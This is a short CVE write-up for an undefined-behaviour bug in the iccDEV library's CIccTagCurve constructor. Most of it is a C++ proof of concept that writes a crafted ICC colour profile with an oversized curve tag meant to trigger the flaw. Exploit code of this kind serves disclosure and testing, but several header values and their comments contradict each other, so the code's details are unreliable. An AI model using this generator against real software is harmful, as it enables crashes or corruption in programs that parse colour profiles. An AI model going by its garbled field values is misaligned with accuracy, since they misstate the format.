CVE-2026-21687: iccDEV库CIccTagCurve构造函数未定义行为漏洞

#include <iostream> #include <fstream> #include <cstdint> // Minimal PoC for CVE-2026-21687 // This demonstrates the structure needed to trigger the undefined behavior struct malicious_icc_profile { uint32_t signature; // 'ic' + 'pr' or 'appl' uint32_t profile_size; uint32_t preferred_cmm_type; uint32_t profile_version; uint32_t profile_device_class; uint32_t color_space; uint32_t pcs; // ... more header fields }; void create_malicious_profile(const char* filename) { // Create a malicious ICC profile that triggers // undefined behavior in CIccTagCurve::CIccTagCurve() std::ofstream file(filename, std::ios::binary); // ICC profile header char header[128] = {0}; *(uint32_t*)(header + 0) = 0x69637072; // 'icpr' *(uint32_t*)(header + 4) = 0x200; // size *(uint32_t*)(header + 8) = 0x4D534400; // 'MS' *(uint32_t*)(header + 12) = 0x04000000; // version 4.0 *(uint32_t*)(header + 16) = 0x73636E72; // 'scnr' (display class) *(uint32_t*)(header + 20) = 0x52544742; // 'RTGB' (RGB) *(uint32_t*)(header + 24) = 0x52504742; // 'RGB' file.write(header, 128); // Tag table with malicious curve data uint32_t tag_count = 1; file.write((char*)&tag_count, 4); // Tag entry: curve tag with crafted offset uint32_t curve_tag_sig = 0x62585941; // 'bXYA' for curve uint32_t offset = 128; uint32_t size = 0xFFFFFFFF; // Malicious size causing UB file.write((char*)&curve_tag_sig, 4); file.write((char*)&offset, 4); file.write((char*)&size, 4); // Malicious curve data char curve_data[256] = {0}; // Fill with data that triggers undefined behavior file.write(curve_data, 256); file.close(); std::cout << "Malicious ICC profile created: " << filename << std::endl; } int main() { create_malicious_profile("malicious.icc"); return 0; }